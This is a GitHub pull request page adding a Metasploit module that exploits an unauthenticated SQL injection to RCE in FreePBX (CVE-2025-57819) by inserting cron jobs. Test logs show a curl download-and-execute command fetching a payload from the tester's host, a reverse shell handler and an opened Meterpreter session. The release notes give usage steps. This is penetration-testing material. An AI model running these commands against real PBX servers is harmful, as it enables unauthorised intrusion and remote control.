-
Notifications
You must be signed in to change notification settings - Fork 14.5k
Add FreePBX Unauthenticated SQLi to RCE (CVE-2025-57819) #20559
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Add FreePBX Unauthenticated SQLi to RCE (CVE-2025-57819) #20559
Conversation
Added an exploit script for unauthenticated remote code execution targeting FreePBX
Made the code more readable
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run verbose=true
[*] Command to run on remote host: curl -so ./KTZxZzLu http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./KTZxZzLu;./KTZxZzLu&
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
[*] Started reverse TCP handler on 192.168.168.128:4444
[+] Created cronjob with job name: 'DNuGV'
[*] Waiting for cronjob to trigger...
[*] Client 192.168.168.223 requested /Q7JGOkCYlO14PhxIQeJRIQ
[*] Sending payload to 192.168.168.223 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.223
[*] Meterpreter session 2 opened (192.168.168.128:4444 -> 192.168.168.223:47310) at 2025-09-22 13:22:02 +0200
[*] Attempting to perform cleanup
[+] Cronjob removed, happy hacking!
meterpreter > sysinfo
Computer : freepbx.sangoma.local
OS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64)
Architecture : x64
BuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: asterisk
Co-authored-by: msutovsky-r7 <[email protected]>
Used rubocop with -A option.
…l0w/metasploit-framework into freepbx_unauth_sqli_to_rce
Used rubocop -A option
Performed manual cleanup by observing the error log of msftidy. Checked for original functionality, the exploit still works.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
msf exploit(unix/http/freepbx_unauth_sqli_to_rce) > run verbose=true
[*] Command to run on remote host: curl -so ./gRabNgAhMch http://192.168.168.128:8080/Q7JGOkCYlO14PhxIQeJRIQ;chmod +x ./gRabNgAhMch;./gRabNgAhMch&
[*] Fetch handler listening on 192.168.168.128:8080
[*] HTTP server started
[*] Adding resource /Q7JGOkCYlO14PhxIQeJRIQ
[*] Started reverse TCP handler on 192.168.168.128:4444
[+] Created cronjob with job name: 'xsMW'
[*] Waiting for cronjob to trigger...
[*] Client 192.168.168.223 requested /Q7JGOkCYlO14PhxIQeJRIQ
[*] Sending payload to 192.168.168.223 (curl/7.29.0)
[*] Transmitting intermediate stager...(126 bytes)
[*] Sending stage (3090404 bytes) to 192.168.168.223
[*] Meterpreter session 1 opened (192.168.168.128:4444 -> 192.168.168.223:35814) at 2025-09-23 12:17:04 +0200
[*] Attempting to perform cleanup
[+] Cronjob removed, happy hacking!
meterpreter > sysinfo
Computer : freepbx.sangoma.local
gOS : Red Hat 7.8.2003 (Linux 3.10.0-1127.19.1.el7.x86_64)
etuArchitecture : x64
idBuildTuple : x86_64-linux-musl
Meterpreter : x64/linux
meterpreter > getuid
Server username: asterisk
Release NotesThis adds a new module for SQLi in FreePBX (CVE-2025-57819). The module will utilize SQL injection to insert a new item into the cron_jobs table, thereby achieving remote code execution. |
FreePBX is an open-source web-based graphical user interface. FreePBX 15, 16, and 17 endpoints are vulnerable due to insufficiently sanitized user-supplied data allowing unauthenticated access to FreePBX Administrator leading to arbitrary database manipulation and remote code execution.
This module exploits a vulnerability chain in FreePBX, tracked as CVE-2025-57819. An authentication bypass exposes unauthenticated access to
/admin/ajax.php
, which contains a SQL injection flaw. By leveraging this vulnerability, an attacker canachieve remote code execution through the creation of cron jobs under the
asterisk
database user context.The following FreePBX version has been tested:
Testing
To set up a test environment:
Options
No custom options exist for this module.
Verification Steps
use exploit/unix/http/freepbx_unauth_sqli_to_rce
set RHOSTS <TARGET_IP_ADDRESS>
set RPORT <TARGET_PORT>
run
Example usage